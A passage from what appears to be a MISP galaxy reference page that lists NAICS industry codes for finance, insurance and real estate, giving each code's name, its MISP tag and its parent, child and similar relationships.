- parent-of: misp-galaxy:naics="523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525" with estimative-language:likelihood-probability="likely"

521

Monetary Authorities-Central Bank

The tag is: *misp-galaxy:naics="521"*

View relationships graph

521 has relationships with:

- child-of: misp-galaxy:naics="52" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5211" with estimative-language:likelihood-probability="likely"

5211

Monetary Authorities-Central Bank

The tag is: *misp-galaxy:naics="5211"*

View relationships graph

5211 has relationships with:

- child-of: misp-galaxy:naics="521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="521110" with estimative-language:likelihood-probability="likely"

52111

Monetary Authorities-Central Bank

The tag is: *misp-galaxy:naics="52111"*

View relationships graph

52111 has relationships with:

- child-of: misp-galaxy:naics="5211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="521110" with estimative-language:likelihood-probability="likely"

521110

Monetary Authorities-Central Bank

The tag is: *misp-galaxy:naics="521110"*

View relationships graph

521110 has relationships with:

- child-of: misp-galaxy:naics="5211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52111" with estimative-language:likelihood-probability="likely"

522

Credit Intermediation and Related Activities

The tag is: *misp-galaxy:naics="522"*

View relationships graph

522 has relationships with:

- child-of: misp-galaxy:naics="52" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"

5221

Depository Credit Intermediation

The tag is: *misp-galaxy:naics="5221"*

View relationships graph

5221 has relationships with:

- child-of: misp-galaxy:naics="522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52218" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522180" with estimative-language:likelihood-probability="likely"

52211

Commercial Banking

The tag is: *misp-galaxy:naics="52211"*

View relationships graph

52211 has relationships with:

- child-of: misp-galaxy:naics="5221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522110" with estimative-language:likelihood-probability="likely"

522110

Commercial Banking

The tag is: *misp-galaxy:naics="522110"*

View relationships graph

522110 has relationships with:

- child-of: misp-galaxy:naics="5221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52211" with estimative-language:likelihood-probability="likely"

52213

Credit Unions

The tag is: *misp-galaxy:naics="52213"*

View relationships graph

52213 has relationships with:

- child-of: misp-galaxy:naics="5221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522130" with estimative-language:likelihood-probability="likely"

522130

Credit Unions

The tag is: *misp-galaxy:naics="522130"*

View relationships graph

522130 has relationships with:

- child-of: misp-galaxy:naics="5221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52213" with estimative-language:likelihood-probability="likely"

52218

Savings Institutions and Other Depository Credit Intermediation

The tag is: *misp-galaxy:naics="52218"*

View relationships graph

52218 has relationships with:

- child-of: misp-galaxy:naics="5221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522180" with estimative-language:likelihood-probability="likely"

522180

Savings Institutions and Other Depository Credit Intermediation

The tag is: *misp-galaxy:naics="522180"*

View relationships graph

522180 has relationships with:

- child-of: misp-galaxy:naics="5221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52218" with estimative-language:likelihood-probability="likely"

5222

Nondepository Credit Intermediation

The tag is: *misp-galaxy:naics="5222"*

View relationships graph

5222 has relationships with:

- child-of: misp-galaxy:naics="522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52229" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522299" with estimative-language:likelihood-probability="likely"

52221

Credit Card Issuing

The tag is: *misp-galaxy:naics="52221"*

View relationships graph

52221 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522210" with estimative-language:likelihood-probability="likely"

522210

Credit Card Issuing

The tag is: *misp-galaxy:naics="522210"*

View relationships graph

522210 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52221" with estimative-language:likelihood-probability="likely"

52222

Sales Financing

The tag is: *misp-galaxy:naics="52222"*

View relationships graph

52222 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522220" with estimative-language:likelihood-probability="likely"

522220

Sales Financing

The tag is: *misp-galaxy:naics="522220"*

View relationships graph

522220 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52222" with estimative-language:likelihood-probability="likely"

52229

Other Nondepository Credit Intermediation

The tag is: *misp-galaxy:naics="52229"*

View relationships graph

52229 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"

522291

Consumer Lending

The tag is: *misp-galaxy:naics="522291"*

View relationships graph

522291 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"

522292

Real Estate Credit

The tag is: *misp-galaxy:naics="522292"*

View relationships graph

522292 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"

522299

International, Secondary Market, and All Other Nondepository Credit Intermediation

The tag is: *misp-galaxy:naics="522299"*

View relationships graph

522299 has relationships with:

- child-of: misp-galaxy:naics="5222" with estimative-language:likelihood-probability="likely"

5223

Activities Related to Credit Intermediation

The tag is: *misp-galaxy:naics="5223"*

View relationships graph

5223 has relationships with:

- child-of: misp-galaxy:naics="522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52239" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="522390" with estimative-language:likelihood-probability="likely"

52231

Mortgage and Nonmortgage Loan Brokers

The tag is: *misp-galaxy:naics="52231"*

View relationships graph

52231 has relationships with:

- child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522310" with estimative-language:likelihood-probability="likely"

522310

Mortgage and Nonmortgage Loan Brokers

The tag is: *misp-galaxy:naics="522310"*

View relationships graph

522310 has relationships with:

- child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52231" with estimative-language:likelihood-probability="likely"

52232

Financial Transactions Processing, Reserve, and Clearinghouse Activities

The tag is: *misp-galaxy:naics="52232"*

View relationships graph

52232 has relationships with:

- child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522320" with estimative-language:likelihood-probability="likely"

522320

Financial Transactions Processing, Reserve, and Clearinghouse Activities

The tag is: *misp-galaxy:naics="522320"*

View relationships graph

522320 has relationships with:

- child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52232" with estimative-language:likelihood-probability="likely"

52239

Other Activities Related to Credit Intermediation

The tag is: *misp-galaxy:naics="52239"*

View relationships graph

52239 has relationships with:

- child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="522390" with estimative-language:likelihood-probability="likely"

522390

Other Activities Related to Credit Intermediation

The tag is: *misp-galaxy:naics="522390"*

View relationships graph

522390 has relationships with:

- child-of: misp-galaxy:naics="5223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52239" with estimative-language:likelihood-probability="likely"

523

Securities, Commodity Contracts, and Other Financial Investments and Related Activities

The tag is: *misp-galaxy:naics="523"*

View relationships graph

523 has relationships with:

- child-of: misp-galaxy:naics="52" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"

5231

Securities and Commodity Contracts Intermediation and Brokerage

The tag is: *misp-galaxy:naics="5231"*

View relationships graph

5231 has relationships with:

- child-of: misp-galaxy:naics="523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52315" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="523150" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52316" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="523160" with estimative-language:likelihood-probability="likely"

52315

Investment Banking and Securities Intermediation

The tag is: *misp-galaxy:naics="52315"*

View relationships graph

52315 has relationships with:

- child-of: misp-galaxy:naics="5231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="523150" with estimative-language:likelihood-probability="likely"

523150

Investment Banking and Securities Intermediation

The tag is: *misp-galaxy:naics="523150"*

View relationships graph

523150 has relationships with:

- child-of: misp-galaxy:naics="5231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52315" with estimative-language:likelihood-probability="likely"

52316

Commodity Contracts Intermediation

The tag is: *misp-galaxy:naics="52316"*

View relationships graph

52316 has relationships with:

- child-of: misp-galaxy:naics="5231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="523160" with estimative-language:likelihood-probability="likely"

523160

Commodity Contracts Intermediation

The tag is: *misp-galaxy:naics="523160"*

View relationships graph

523160 has relationships with:

- child-of: misp-galaxy:naics="5231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52316" with estimative-language:likelihood-probability="likely"

5232

Securities and Commodity Exchanges

The tag is: *misp-galaxy:naics="5232"*

View relationships graph

5232 has relationships with:

- child-of: misp-galaxy:naics="523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="523210" with estimative-language:likelihood-probability="likely"

52321

Securities and Commodity Exchanges

The tag is: *misp-galaxy:naics="52321"*

View relationships graph

52321 has relationships with:

- child-of: misp-galaxy:naics="5232" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="523210" with estimative-language:likelihood-probability="likely"

523210

Securities and Commodity Exchanges

The tag is: *misp-galaxy:naics="523210"*

View relationships graph

523210 has relationships with:

- child-of: misp-galaxy:naics="5232" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52321" with estimative-language:likelihood-probability="likely"

5239

Other Financial Investment Activities

The tag is: *misp-galaxy:naics="5239"*

View relationships graph

5239 has relationships with:

- child-of: misp-galaxy:naics="523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="523910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52394" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="523940" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52399" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="523991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="523999" with estimative-language:likelihood-probability="likely"

52391

Miscellaneous Intermediation

The tag is: *misp-galaxy:naics="52391"*

View relationships graph

52391 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="523910" with estimative-language:likelihood-probability="likely"

523910

Miscellaneous Intermediation

The tag is: *misp-galaxy:naics="523910"*

View relationships graph

523910 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52391" with estimative-language:likelihood-probability="likely"

52394

Portfolio Management and Investment Advice

The tag is: *misp-galaxy:naics="52394"*

View relationships graph

52394 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="523940" with estimative-language:likelihood-probability="likely"

523940

Portfolio Management and Investment Advice

The tag is: *misp-galaxy:naics="523940"*

View relationships graph

523940 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52394" with estimative-language:likelihood-probability="likely"

52399

All Other Financial Investment Activities

The tag is: *misp-galaxy:naics="52399"*

View relationships graph

52399 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"

523991

Trust, Fiduciary, and Custody Activities

The tag is: *misp-galaxy:naics="523991"*

View relationships graph

523991 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"

523999

Miscellaneous Financial Investment Activities

The tag is: *misp-galaxy:naics="523999"*

View relationships graph

523999 has relationships with:

- child-of: misp-galaxy:naics="5239" with estimative-language:likelihood-probability="likely"

524

Insurance Carriers and Related Activities

The tag is: *misp-galaxy:naics="524"*

View relationships graph

524 has relationships with:

- child-of: misp-galaxy:naics="52" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5242" with estimative-language:likelihood-probability="likely"

5241

Insurance Carriers

The tag is: *misp-galaxy:naics="5241"*

View relationships graph

5241 has relationships with:

- child-of: misp-galaxy:naics="524" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52412" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="524126" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524127" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524128" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524130" with estimative-language:likelihood-probability="likely"

52411

Direct Life, Health, and Medical Insurance Carriers

The tag is: *misp-galaxy:naics="52411"*

View relationships graph

52411 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"

524113

Direct Life Insurance Carriers

The tag is: *misp-galaxy:naics="524113"*

View relationships graph

524113 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"

524114

Direct Health and Medical Insurance Carriers

The tag is: *misp-galaxy:naics="524114"*

View relationships graph

524114 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"

52412

Direct Insurance (except Life, Health, and Medical) Carriers

The tag is: *misp-galaxy:naics="52412"*

View relationships graph

52412 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"

524126

Direct Property and Casualty Insurance Carriers

The tag is: *misp-galaxy:naics="524126"*

View relationships graph

524126 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"

524127

Direct Title Insurance Carriers

The tag is: *misp-galaxy:naics="524127"*

View relationships graph

524127 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"

524128

Other Direct Insurance (except Life, Health, and Medical) Carriers

The tag is: *misp-galaxy:naics="524128"*

View relationships graph

524128 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"

52413

Reinsurance Carriers

The tag is: *misp-galaxy:naics="52413"*

View relationships graph

52413 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="524130" with estimative-language:likelihood-probability="likely"

524130

Reinsurance Carriers

The tag is: *misp-galaxy:naics="524130"*

View relationships graph

524130 has relationships with:

- child-of: misp-galaxy:naics="5241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52413" with estimative-language:likelihood-probability="likely"

5242

Agencies, Brokerages, and Other Insurance Related Activities

The tag is: *misp-galaxy:naics="5242"*

View relationships graph

5242 has relationships with:

- child-of: misp-galaxy:naics="524" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52429" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="524298" with estimative-language:likelihood-probability="likely"

52421

Insurance Agencies and Brokerages

The tag is: *misp-galaxy:naics="52421"*

View relationships graph

52421 has relationships with:

- child-of: misp-galaxy:naics="5242" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="524210" with estimative-language:likelihood-probability="likely"

524210

Insurance Agencies and Brokerages

The tag is: *misp-galaxy:naics="524210"*

View relationships graph

524210 has relationships with:

- child-of: misp-galaxy:naics="5242" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52421" with estimative-language:likelihood-probability="likely"

52429

Other Insurance Related Activities

The tag is: *misp-galaxy:naics="52429"*

View relationships graph

52429 has relationships with:

- child-of: misp-galaxy:naics="5242" with estimative-language:likelihood-probability="likely"

524291

Claims Adjusting

The tag is: *misp-galaxy:naics="524291"*

View relationships graph

524291 has relationships with:

- child-of: misp-galaxy:naics="5242" with estimative-language:likelihood-probability="likely"

524292

Pharmacy Benefit Management and Other Third Party Administration of Insurance and Pension Funds

The tag is: *misp-galaxy:naics="524292"*

View relationships graph

524292 has relationships with:

- child-of: misp-galaxy:naics="5242" with estimative-language:likelihood-probability="likely"

524298

All Other Insurance Related Activities

The tag is: *misp-galaxy:naics="524298"*

View relationships graph

524298 has relationships with:

- child-of: misp-galaxy:naics="5242" with estimative-language:likelihood-probability="likely"

525

Funds, Trusts, and Other Financial Vehicles

The tag is: *misp-galaxy:naics="525"*

View relationships graph

525 has relationships with:

- child-of: misp-galaxy:naics="52" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"

5251

Insurance and Employee Benefit Funds

The tag is: *misp-galaxy:naics="5251"*

View relationships graph

5251 has relationships with:

- child-of: misp-galaxy:naics="525" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52519" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525190" with estimative-language:likelihood-probability="likely"

52511

Pension Funds

The tag is: *misp-galaxy:naics="52511"*

View relationships graph

52511 has relationships with:

- child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="525110" with estimative-language:likelihood-probability="likely"

525110

Pension Funds

The tag is: *misp-galaxy:naics="525110"*

View relationships graph

525110 has relationships with:

- child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52511" with estimative-language:likelihood-probability="likely"

52512

Health and Welfare Funds

The tag is: *misp-galaxy:naics="52512"*

View relationships graph

52512 has relationships with:

- child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="525120" with estimative-language:likelihood-probability="likely"

525120

Health and Welfare Funds

The tag is: *misp-galaxy:naics="525120"*

View relationships graph

525120 has relationships with:

- child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52512" with estimative-language:likelihood-probability="likely"

52519

Other Insurance Funds

The tag is: *misp-galaxy:naics="52519"*

View relationships graph

52519 has relationships with:

- child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="525190" with estimative-language:likelihood-probability="likely"

525190

Other Insurance Funds

The tag is: *misp-galaxy:naics="525190"*

View relationships graph

525190 has relationships with:

- child-of: misp-galaxy:naics="5251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52519" with estimative-language:likelihood-probability="likely"

5259

Other Investment Pools and Funds

The tag is: *misp-galaxy:naics="5259"*

View relationships graph

5259 has relationships with:

- child-of: misp-galaxy:naics="525" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52591" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52592" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="52599" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="525990" with estimative-language:likelihood-probability="likely"

52591

Open-End Investment Funds

The tag is: *misp-galaxy:naics="52591"*

View relationships graph

52591 has relationships with:

- child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="525910" with estimative-language:likelihood-probability="likely"

525910

Open-End Investment Funds

The tag is: *misp-galaxy:naics="525910"*

View relationships graph

525910 has relationships with:

- child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52591" with estimative-language:likelihood-probability="likely"

52592

Trusts, Estates, and Agency Accounts

The tag is: *misp-galaxy:naics="52592"*

View relationships graph

52592 has relationships with:

- child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="525920" with estimative-language:likelihood-probability="likely"

525920

Trusts, Estates, and Agency Accounts

The tag is: *misp-galaxy:naics="525920"*

View relationships graph

525920 has relationships with:

- child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52592" with estimative-language:likelihood-probability="likely"

52599

Other Financial Vehicles

The tag is: *misp-galaxy:naics="52599"*

View relationships graph

52599 has relationships with:

- child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="525990" with estimative-language:likelihood-probability="likely"

525990

Other Financial Vehicles

The tag is: *misp-galaxy:naics="525990"*

View relationships graph

525990 has relationships with:

- child-of: misp-galaxy:naics="5259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="52599" with estimative-language:likelihood-probability="likely"

53

Real Estate and Rental and Leasing

The tag is: *misp-galaxy:naics="53"*

View relationships graph

53 has relationships with:

- parent-of: misp-galaxy:naics="531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="533" with estimative-language:likelihood-probability="likely"

531

Real Estate

The tag is: *misp-galaxy:naics="531"*

View relationships graph

531 has relationships with:

- child-of: misp-galaxy:naics="53" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"

5311

Lessors of Real Estate

The tag is: *misp-galaxy:naics="5311"*

View relationships graph

5311 has relationships with:

- child-of: misp-galaxy:naics="531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531190" with estimative-language:likelihood-probability="likely"

53111

Lessors of Residential Buildings and Dwellings

The tag is: *misp-galaxy:naics="53111"*

View relationships graph

53111 has relationships with:

- child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531110" with estimative-language:likelihood-probability="likely"

531110

Lessors of Residential Buildings and Dwellings

The tag is: *misp-galaxy:naics="531110"*

View relationships graph

531110 has relationships with:

- child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53111" with estimative-language:likelihood-probability="likely"

53112

Lessors of Nonresidential Buildings (except Miniwarehouses)

The tag is: *misp-galaxy:naics="53112"*

View relationships graph

53112 has relationships with:

- child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531120" with estimative-language:likelihood-probability="likely"

531120

Lessors of Nonresidential Buildings (except Miniwarehouses)

The tag is: *misp-galaxy:naics="531120"*

View relationships graph

531120 has relationships with:

- child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53112" with estimative-language:likelihood-probability="likely"

53113

Lessors of Miniwarehouses and Self-Storage Units

The tag is: *misp-galaxy:naics="53113"*

View relationships graph

53113 has relationships with:

- child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531130" with estimative-language:likelihood-probability="likely"

531130

Lessors of Miniwarehouses and Self-Storage Units

The tag is: *misp-galaxy:naics="531130"*

View relationships graph

531130 has relationships with:

- child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53113" with estimative-language:likelihood-probability="likely"

53119

Lessors of Other Real Estate Property

The tag is: *misp-galaxy:naics="53119"*

View relationships graph

53119 has relationships with:

- child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531190" with estimative-language:likelihood-probability="likely"

531190

Lessors of Other Real Estate Property

The tag is: *misp-galaxy:naics="531190"*

View relationships graph

531190 has relationships with:

- child-of: misp-galaxy:naics="5311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53119" with estimative-language:likelihood-probability="likely"

5312

Offices of Real Estate Agents and Brokers

The tag is: *misp-galaxy:naics="5312"*

View relationships graph

5312 has relationships with:

- child-of: misp-galaxy:naics="531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531210" with estimative-language:likelihood-probability="likely"

53121

Offices of Real Estate Agents and Brokers

The tag is: *misp-galaxy:naics="53121"*

View relationships graph

53121 has relationships with:

- child-of: misp-galaxy:naics="5312" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531210" with estimative-language:likelihood-probability="likely"

531210

Offices of Real Estate Agents and Brokers

The tag is: *misp-galaxy:naics="531210"*

View relationships graph

531210 has relationships with:

- child-of: misp-galaxy:naics="5312" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53121" with estimative-language:likelihood-probability="likely"

5313

Activities Related to Real Estate

The tag is: *misp-galaxy:naics="5313"*

View relationships graph

5313 has relationships with:

- child-of: misp-galaxy:naics="531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531311" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="531312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53139" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="531390" with estimative-language:likelihood-probability="likely"

53131

Real Estate Property Managers

The tag is: *misp-galaxy:naics="53131"*

View relationships graph

53131 has relationships with:

- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"

531311

Residential Property Managers

The tag is: *misp-galaxy:naics="531311"*

View relationships graph

531311 has relationships with:

- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"

531312

Nonresidential Property Managers

The tag is: *misp-galaxy:naics="531312"*

View relationships graph

531312 has relationships with:

- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"

53132

Offices of Real Estate Appraisers

The tag is: *misp-galaxy:naics="53132"*

View relationships graph

53132 has relationships with:

